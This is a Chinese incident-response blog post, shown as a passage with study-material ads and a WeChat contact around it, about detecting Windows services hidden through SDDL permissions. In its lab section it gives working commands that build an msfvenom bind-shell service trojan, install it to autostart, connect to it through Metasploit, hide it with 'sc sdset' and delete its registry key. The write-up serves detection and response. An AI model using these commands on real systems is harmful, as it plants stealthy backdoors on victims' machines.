【实战】服务隐藏与排查 Windows 应急响应(3),逆袭面经分享

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

$maliciousServices | Format-Table -AutoSize -Property ServiceName, Status

foreach ($service in $maliciousServices) {
    Write-Host "--------------------------------------------------"
    Write-Host "Service Name: $($service.ServiceName)"
    Write-Host "Status: $($service.Status)"
    Write-Host "Service Config:"
    $configLines = $service.Config -split "`n"
    $configLines | ForEach-Object {
        $configLine = $_.Trim()
        if ($configLine -ne "" -and $configLine -notlike "[*]*") {
            Write-Host $configLine
        }
    }
    Write-Host "--------------------------------------------------"
}

} else {
Write-Host “未发现恶意服务.”
}



![图片](https://img-blog.csdnimg.cn/img_convert/a8eaa974db8630e1775b3677d02b9430.png)



当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了



$services = Get-ChildItem “HKLM:\SYSTEM\CurrentControlSet\Services” | ForEach-Object { $_.PSChildName }

foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1

if ($queryOutput -like "*拒绝访问*") {
    Write-Output $service
}

}



![图片](https://img-blog.csdnimg.cn/img_convert/dca3f1052661a86257278481f4bf00bb.png)



### 0x07 高权限法


通过 `PsExec64.exe` 来获取 `SYSTEM` 权限



> 
> `PsExec64.exe` 是 `SysinternalsSuite` 套件中一款工具
> 
> 
> https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
> 
> 
> 



PsExec64.exe -i -s cmd



![图片](https://img-blog.csdnimg.cn/img_convert/8164e110bb44633b2234c3d2cf3c0707.png)




> 
> `PsExec` 似乎会导致输入法部分功能出现问题
> 
> 
> 


尝试通过 `SYSTEM` 权限的 `cmd` 进行查询



sc queryex | findstr “XblGameSave”



![图片](https://img-blog.csdnimg.cn/img_convert/2fd09af8c158797628463a7f5bbec0e6.png)



`sc` 看不到隐藏的服务


尝试通过 `SYSTEM` 启动 `services.msc`



![图片](https://img-blog.csdnimg.cn/img_convert/6da5562e74a16d2f9b2d5d0ed44b9834.png)



`services.msc` 看不到



![图片](https://img-blog.csdnimg.cn/img_convert/443a0dbee5eeb8a4acd92a84a23c9834.png)



`powershell` 看不到



![图片](https://img-blog.csdnimg.cn/img_convert/651b5b69e7eb1b50e9012f4dbc089668.png)


`wmic` 看不到


创建低权限的用户组和新用户也不行


看来高权限法不行


### 0x08 删除服务


经过枚举法,已经获取到服务名称,现在通过 `sc sdset` 设置权限



sc sdset “XblGameSave” “D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”



![图片](https://img-blog.csdnimg.cn/img_convert/a67596beb168be227f53d1c62f6115c9.png)




![图片](https://img-blog.csdnimg.cn/img_convert/88c5f7019894e4c2a24680df7ef2ef15.png)



这样就可以通过 `services.msc` 进行管理了



![图片](https://img-blog.csdnimg.cn/img_convert/eb0141e9bb6d7185a0753d4a456e1a66.png)



删除服务



sc delete “ServiceName”


### 0x09 删除注册表文件夹会怎么样


#### 1. 创建木马


这次使用 `msf` 生成一个服务木马来模拟服务



msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe


注意,这里指定的文件类型是 `exe-service` ,`MSF` 专门为服务准备的一类木马,中文资料上提到这个事极少


#### 2. 创建服务



sc create test binPath= “C:\Users\Administrator\Desktop\bind.exe” start= auto depend= Tcpip obj= Localsystem


创建一个名为 `test` 的服务,开机自启动执行木马程序,监听 `4455` 端口



![图片](https://img-blog.csdnimg.cn/img_convert/98f08b8f01d6d6315f75598cb0d62b5d.png)



启动服务测试一下



sc start test



![图片](https://img-blog.csdnimg.cn/img_convert/7757dc0344df3476232bd9fef18e5976.png)



#### 3. MSF 连接木马



msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit



![图片](https://img-blog.csdnimg.cn/img_convert/5685a8b6e66540f4f73eb5a3294f57eb.png)



服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接



![图片](https://img-blog.csdnimg.cn/img_convert/6bc58672a40afb214a02a0ba20eb03e8.png)




![图片](https://img-blog.csdnimg.cn/img_convert/1a35973c7ee570ce85c457a68b380c2a.png)



再次获取 `shell`,服务自启动没问题


#### 4. 观察 MSF 服务情况


再次重启服务器,登录后查看服务信息如下



![图片](https://img-blog.csdnimg.cn/img_convert/86fb47748f9a244250afb2782dd37563.png)



从服务来看 `test` 服务已经停止了


从进程角度来看



![图片](https://img-blog.csdnimg.cn/img_convert/17b81259c260915fefb8f5102c9b5ae5.png)



没有主动监听`shell` 相关进程


通过 `MSF` 进行连接



![图片](https://img-blog.csdnimg.cn/img_convert/2947a02e0e11d47a2b5c16ce4519aa4d.png)



服务监听是存在的


从网络层面看



![图片](https://img-blog.csdnimg.cn/img_convert/ea28c94c2322d44acb08c1b0a6a5a862.png)



可以看到 `MSF` 与受害主机之间的连接



![图片](https://img-blog.csdnimg.cn/img_convert/3c0230f06e2bd4811cdd9ca11095b111.png)



通过 `wmic` 查看详细情况



wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list



![图片](https://img-blog.csdnimg.cn/img_convert/e4b653a5f26a796d412fd740e4c16c1d.png)



这样看来 `exe-service` 生成的是一个 `dll` 文件



![图片](https://img-blog.csdnimg.cn/img_convert/4478427da9ad6469cd020d0271f687a5.png)



#### 5. 通过 SDDL 设置隐藏服务



sc sdset “test” “D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”



![图片](https://img-blog.csdnimg.cn/img_convert/383ac8f8a7eb6ca12b8934f06e900ead.png)




![图片](https://img-blog.csdnimg.cn/img_convert/a631e43645d7deee41905fefe5906ad6.png)



此时已经 `Services.msc` 已经看不到 `test` 服务了,这个上面我们已经测试过了



![图片](https://img-blog.csdnimg.cn/img_convert/3325c401e1522d3ee2cebb8c67566c9f.png)



获得的 `shell` 不受影响


#### 6. 尝试删除注册表项



![图片](https://img-blog.csdnimg.cn/img_convert/053ded2c62c4dac5807c3534974f2e88.png)



尝试在 `Meterpreter` 中远程完成删除



reg deletekey -k “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test”


![图片](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfwibAibMLZB4LptFnhPLWUo1SoW26UNxjC9cABicqD2iajkfE02EsQLkotqg4K6KObLGt0Z1BDE28Oicg%2F640&pos_id=W0oFJ17D)




![图片](https://img-blog.csdnimg.cn/img_convert/7bf000999024329f573c53ca21a1138f.png)



注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了



![图片](https://img-blog.csdnimg.cn/img_convert/cfe91392d41e2876b3f99a653395ade7.png)



![图片](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfwibAibMLZB4LptFnhPLWUo1uaCCt982Kibre8f4Ce5iaEHAZoQqe6D252qygAsG5V0Z7qbsTH0txVJA%2F640&pos_id=86b6cjtf)



服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用



![图片](https://img-blog.csdnimg.cn/img_convert/47c595c733f3a5948ee2ab0061ec7d68.png)




![图片](https://img-blog.csdnimg.cn/img_convert/4d4e206bf360bec6accc9abe30cd3fee.png)



* `sc qc` 进行查询显示找不到指定的文件
* `sc query` 显示还是拒绝访问



尝试重启服务器


![](https://img-blog.csdnimg.cn/direct/608c9c92eeaf46639bf50276dc9debaa.png)




![图片](https://img-blog.csdnimg.cn/img_convert/fea192aa0a0fcc1c371a57f26651b860.png)



服务已经不存在了


### 0x10 思考排查方法


一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?


注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧


#### 1. 进程角度


服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了


当然,可以把 `Rundll32.exe` 作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 `DLL` 位置,而且感觉不太严谨


#### 2. 日志查询


通过日志 `Windows 日志 -> 系统`



![图片](https://img-blog.csdnimg.cn/img_convert/9e7f4c101b1a0cd9288c3a202a4dc827.png)



其中来源为 `Service Control Manager` 的日志会记录服务的创建与执行


#### 3. Windows API


如果 `Windows API` 呢



#include 
#include <windows.h>
#include <winsvc.h>

int main()
{
    SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (schSCManager == NULL)
    {
        std::cout << “Failed to open Service Control Manager.” << std::endl;
        return 1;
    }

DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
    EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        NULL,
        0,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    );

LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
    if (lpServices == NULL)
    {
        std::cout << “Failed to allocate memory.” << std::endl;
        CloseServiceHandle(schSCManager);
        return 1;
    }

if (!EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        (LPBYTE)lpServices,
        dwBytesNeeded,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    ))
    {
        std::cout << “Failed to enumerate services.” << std::endl;
        free(lpServices);
        CloseServiceHandle(schSCManager);
        return 1;
    }

std::cout << “Services:” << std::endl;
    for (DWORD i = 0; i < dwServicesReturned; i++)
    {
        std::wstring serviceName(lpServices[i].lpServiceName);
        std::wcout << serviceName << std::endl;
    }

free(lpServices);
    CloseServiceHandle(schSCManager);

return 0;
}


经过实验, `Windows API` 获取不到,即使是 `SYSTEM` 权限也查询不到


#### 4. sc


`sc` 的命令报错意味着其实 `sc` 是可以知道 `test` 的存在的


### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限,仅展示部分资料


网络安全面试题


![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png)


绿盟护网行动


![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)


还有大家最喜欢的黑客技术


![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~




**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/8b1cf3e82623b8072c0d22b35d0ac991.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**



![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~




**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-1BajXXhb-1713466353265)]

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值